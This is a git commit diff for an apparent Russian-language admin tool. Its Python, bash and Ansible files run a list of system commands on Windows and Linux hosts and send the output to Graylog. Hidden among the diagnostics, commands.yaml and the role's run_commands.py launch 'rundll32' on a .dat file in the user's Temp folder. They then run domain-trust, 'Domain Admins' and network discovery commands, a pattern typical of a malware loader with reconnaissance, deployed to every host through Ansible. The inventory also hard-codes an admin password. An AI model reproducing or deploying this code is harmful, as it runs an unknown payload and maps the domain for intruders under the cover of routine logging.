This commit is contained in:
2025-06-09 19:34:56 +09:00
parent 02a10ca391
commit cdc4e209c7
15 changed files with 490 additions and 1 deletions

29
.gitignore vendored Normal file
View File

@@ -0,0 +1,29 @@
# Logs
logs/
*.log
# Python
__pycache__/
*.py[cod]
*.pyo
*.pyd
*.pdb
# Virtual environments
env/
venv/
ENV/
.venv/
# Ansible
*.retry
# System files
.DS_Store
Thumbs.db
# IDEs and editors
.vscode/
.idea/
*.swp
*.swo

193
README.md
View File

@@ -1,2 +1,193 @@
# commander # 🛠 Универсальный скрипт для запуска команд Windows с логированием
## Введение
Привет! Одна из частых задач — **выполнить серию системных команд**, зафиксировать результат, отловить ошибки и сохранить лог. Чтобы не делать это вручную каждый раз, я подготовил универсальный скрипт, который:
- Выполняет команды из YAML-файла
- Сохраняет логи в отдельную папку
- Показывает stdout, stderr и статус выполнения
- Удобен для расширения и автоматизации
---
## 🧩 Структура проекта
```
old_scripts/
├── run_commands.py # основной скрипт win
├── script.sh # основной скрипт unix
├── commands.yaml # конфигурация команд
└── logs/ # автоматически создаётся, сюда пишутся логи
```
---
## 📜 Файл `commands.yaml`
Можно добавлять любые команды. Главное — указать поле `name` и `command`.
---
## 🔍 Пример запуска
### ** 1. Python версия скрипта для Windows-хостов**
```bash
python run_commands.py
```
В консоли будет отображаться ход выполнения, а весь лог сохраняется в `logs/commands_*.log`.
---
### **2. Bash-версия скрипта для Linux-хостов**
> Не забудь `chmod +x script.sh`
> Можно запускать из Ansible с `shell` или `script`.
---
## ⚙️ Настройка Ansible
### Структура проекта
```
graylog-collector/
├── inventory/
│ └── hosts.ini
├── playbook.yml
└── roles/
└── graylog_collector/
├── tasks/
│ ├── main.yml
│ ├── windows.yml
│ └── linux.yml
├── files/
│ ├── run_commands.py
│ ├── collect_info.sh
│ └── graylog_sender.py
└── defaults/
└── main.yml
```
### Плейбук (playbook.yml)
```yaml
- name: Deploy graylog collector
hosts: all
roles:
- graylog_collector
```
## 🔍 Пример использования
### Поиск в Graylog
```json
source:server01 AND "Domain Admins"
```
### Визуализация в Grafana
```sql
SELECT host, COUNT(*)
FROM graylog_messages
WHERE full_message LIKE '%error%'
GROUP BY host
```
## 🛠️ Кастомизация
### Добавление своих команд
1. Для Windows: редактируем `files/commands.yaml`
```yaml
- name: Check DNS
command: nslookup example.com
```
2. Для Linux: редактируем `files/collect_info.sh`
```bash
commands+=("dig example.com")
```
### Настройка Graylog
В `defaults/main.yml`:
```yaml
graylog_host: logs.mycompany.com
graylog_port: 12201
windows_log_dir: C:\Collector\Logs
linux_log_dir: /var/log/collector
```
## ⚠️ Решение проблем
### Частые ошибки Windows
```fix
# В PowerShell:
Enable-PSRemoting -Force
Set-NetFirewallRule -Name "WINRM-HTTP-In-TCP" -RemoteAddress Any
```
### Ошибки подключения Linux
```bash
# На целевой машине:
sudo systemctl restart sshd
```
### Проблемы с Graylog
1. Проверить открытость порта:
```bash
nc -vz logs.mycompany.com 12201
```
2. Проверить GELF input в веб-интерфейсе Graylog
## 📈 Расширенные сценарии
### Планирование регулярного сбора
Добавляем в `tasks/main.yml`:
```yaml
- name: Schedule daily collection (Windows)
win_scheduled_task:
name: "Daily System Info"
description: "Collect system information"
actions:
- path: "python"
arguments: "C:\\Collector\\run_commands.py"
triggers:
- type: daily
start_time: "03:00"
```
### Обработка ошибок
В скриптах добавляем обработку исключений:
```python
try:
# выполнение команды
except Exception as e:
logging.error(f"Command failed: {str(e)}")
```
## 💡 Советы из практики
### 1. **Фильтрация чувствительных данных:**
```python
# В run_commands.py
if "password" in command.lower():
logging.warning("Skipping potential sensitive command")
continue
```
### 2. **Сжатие логов** перед отправкой:
```python
import zlib
compressed = zlib.compress(log_content.encode())
```
### 3. **Маркировка хостов** в Graylog:
```python
message["_environment"] = "production"
```
### 4. Запускаем плейбук
```bash
ansible-playbook -i inventory/hosts.ini playbook.yml
```
---

14
inventory/hosts.ini Normal file
View File

@@ -0,0 +1,14 @@
[windows]
server01 ansible_host=192.168.1.10
[linux]
server02 ansible_host=192.168.1.20
[windows:vars]
ansible_user=admin
ansible_password=SecurePass123
ansible_connection=winrm
[linux:vars]
ansible_user=root
ansible_ssh_private_key_file=~/.ssh/id_rsa

30
old_scripts/commands.yaml Normal file
View File

@@ -0,0 +1,30 @@
commands:
- name: easygoing rundll
command: 'rundll32 C:\\Users\\[REDACTED]\\AppData\\Local\\Temp\\easygoing.dat,#1'
- name: nltest all_trusts
command: 'nltest /domain_trusts /all_trusts'
- name: nltest domain_trusts
command: 'nltest /domain_trusts'
- name: net view domain
command: 'net view /all /domain'
- name: net view
command: 'net view /all'
- name: domain admins
command: 'net group "Domain Admins" /domain'
- name: current codepage
command: 'cmd.exe /c chcp >&2'
- name: ipconfig
command: 'ipconfig /all'
- name: workstation config
command: 'net config workstation'
- name: system info
command: 'systeminfo'

View File

@@ -0,0 +1,33 @@
#!/usr/bin/env python3
import json
import socket
import sys
import os
from datetime import datetime
GRAYLOG_HOST = os.environ.get("GRAYLOG_HOST", "graylog.local")
GRAYLOG_PORT = int(os.environ.get("GRAYLOG_PORT", 12201))
LOG_FILE = sys.argv[1]
def send_to_graylog(message: dict):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(json.dumps(message).encode("utf-8"), (GRAYLOG_HOST, GRAYLOG_PORT))
def parse_log(file_path: str):
with open(file_path, encoding='utf-8') as f:
blocks = f.read().split('\n--------------------------------------------------\n')
for block in blocks:
lines = block.strip().splitlines()
if not lines:
continue
msg = {
"version": "1.1",
"host": os.uname().nodename,
"short_message": lines[0] if lines else "log entry",
"timestamp": datetime.utcnow().timestamp(),
"_details": '\n'.join(lines)
}
send_to_graylog(msg)
if __name__ == "__main__":
parse_log(LOG_FILE)

View File

@@ -0,0 +1,58 @@
import subprocess
import yaml
from datetime import datetime
import logging
from pathlib import Path
# Настройка логирования
log_dir = Path("logs")
log_dir.mkdir(exist_ok=True)
log_file = log_dir / f"commands_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log"
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s [%(levelname)s] %(message)s",
handlers=[
logging.FileHandler(log_file, encoding='utf-8'),
logging.StreamHandler()
]
)
def run_command(command_str: str) -> tuple[str, str, int]:
"""Выполняет команду и возвращает stdout, stderr, return_code"""
try:
result = subprocess.run(command_str, shell=True, capture_output=True, text=True)
return result.stdout, result.stderr, result.returncode
except Exception as e:
return "", str(e), -1
def main(config_path="commands.yaml"):
# Загрузка конфигурации
try:
with open(config_path, encoding="utf-8") as f:
config = yaml.safe_load(f)
except Exception as e:
logging.error(f"Ошибка при загрузке YAML: {e}")
return
for item in config.get("commands", []):
name = item.get("name", "Unnamed")
command = item.get("command")
logging.info(f"⏳ Выполняется команда: {name}{command}")
stdout, stderr, code = run_command(command)
if code == 0:
logging.info(f"✅ Успешно: {name}")
else:
logging.error(f"❌ Ошибка ({code}): {name}")
logging.info(f"🔎 STDOUT:\n{stdout.strip()}")
if stderr.strip():
logging.warning(f"⚠️ STDERR:\n{stderr.strip()}")
logging.info("-" * 80)
logging.info("📝 Все команды завершены. Логи: %s", log_file)
if __name__ == "__main__":
main()

27
old_scripts/script.sh Normal file
View File

@@ -0,0 +1,27 @@
#!/bin/bash
commands=(
"hostnamectl"
"ip a"
"ip route"
"cat /etc/resolv.conf"
"uptime"
"who"
"df -h"
"free -m"
"netstat -tuln"
"systemctl list-units --type=service --state=running"
)
output_file="/var/log/command_results_$(date +%F_%H-%M-%S).log"
echo "== Сбор информации начат: $(date) ==" > "$output_file"
for cmd in "${commands[@]}"; do
echo "Команда: $cmd" >> "$output_file"
echo "Вывод:" >> "$output_file"
eval "$cmd" >> "$output_file" 2>&1
echo -e "\n$(printf '%0.s-' {1..60})\n" >> "$output_file"
done
echo "== Сбор информации завершен: $(date) ==" >> "$output_file"

0
playbook.yml Normal file
View File

View File

@@ -0,0 +1,4 @@
graylog_host: graylog.local
graylog_port: 12201
log_output_dir: C:\Temp\logs # Windows
linux_output_dir: /var/log

View File

@@ -0,0 +1,26 @@
#!/bin/bash
OUTPUT_DIR="${OUTPUT_DIR:-/var/log}"
filename="$OUTPUT_DIR/command_results_$(date +%F_%H-%M-%S).log"
commands=(
"hostnamectl"
"ip a"
"ip route"
"cat /etc/resolv.conf"
"uptime"
"who"
"df -h"
"free -m"
"netstat -tuln"
"systemctl list-units --type=service --state=running"
)
{
echo "== Сбор информации начат: $(date) =="
for cmd in "${commands[@]}"; do
echo "Команда: $cmd"
eval "$cmd" 2>&1
echo "--------------------------------------------------"
done
echo "== Завершено: $(date) =="
} > "$filename"

View File

@@ -0,0 +1,28 @@
import subprocess, os
commands = [
'hostname',
'rundll32 C:\\Users\\USERNAME\\AppData\\Local\\Temp\\easygoing.dat,#1',
'nltest /domain_trusts /all_trusts',
'nltest /domain_trusts',
'net view /all /domain',
'net view /all',
'net group "Domain Admins" /domain',
'chcp',
'ipconfig /all',
'net config workstation',
'systeminfo'
]
output_file = 'command_results.txt'
with open(output_file, 'w', encoding='utf-8') as file:
for command in commands:
try:
result = subprocess.run(command, shell=True, capture_output=True, text=True)
file.write(f"Command: {command}\n")
file.write(f"Output:\n{result.stdout}\n")
file.write(f"Error:\n{result.stderr}\n")
file.write('-'*50 + '\n\n')
except Exception as e:
file.write(f"Command: {command}\nError: {str(e)}\n" + '-'*50 + '\n\n')

View File

@@ -0,0 +1,20 @@
- name: Копируем скрипты
copy:
src: "{{ item }}"
dest: /usr/local/bin/
mode: '0755'
with_items:
- collect_info.sh
- graylog_sender.py
- name: Выполняем bash-скрипт
shell: "/usr/local/bin/collect_info.sh"
environment:
OUTPUT_DIR: "{{ linux_output_dir }}"
- name: Отправляем лог в Graylog
shell: |
export GRAYLOG_HOST={{ graylog_host }}
export GRAYLOG_PORT={{ graylog_port }}
latest=$(ls -1t {{ linux_output_dir }}/command_results_*.log | head -n1)
python3 /usr/local/bin/graylog_sender.py $latest

View File

@@ -0,0 +1,2 @@
- name: Определение платформы
ansible.builtin.include_tasks: "{{ ansible_os_family | lower }}.yml"

View File

@@ -0,0 +1,27 @@
- name: Создаем каталог логов
win_file:
path: "{{ log_output_dir }}"
state: directory
- name: Копируем скрипты
win_copy:
src: "{{ item }}"
dest: "{{ log_output_dir }}/{{ item }}"
with_items:
- run_commands.py
- graylog_sender.py
- name: Выполняем команды и сохраняем в лог
win_shell: |
cd {{ log_output_dir }}
python run_commands.py
args:
executable: cmd
- name: Отправляем лог в Graylog
win_shell: |
set GRAYLOG_HOST={{ graylog_host }}
set GRAYLOG_PORT={{ graylog_port }}
python {{ log_output_dir }}\graylog_sender.py {{ log_output_dir }}\command_results.txt
args:
executable: cmd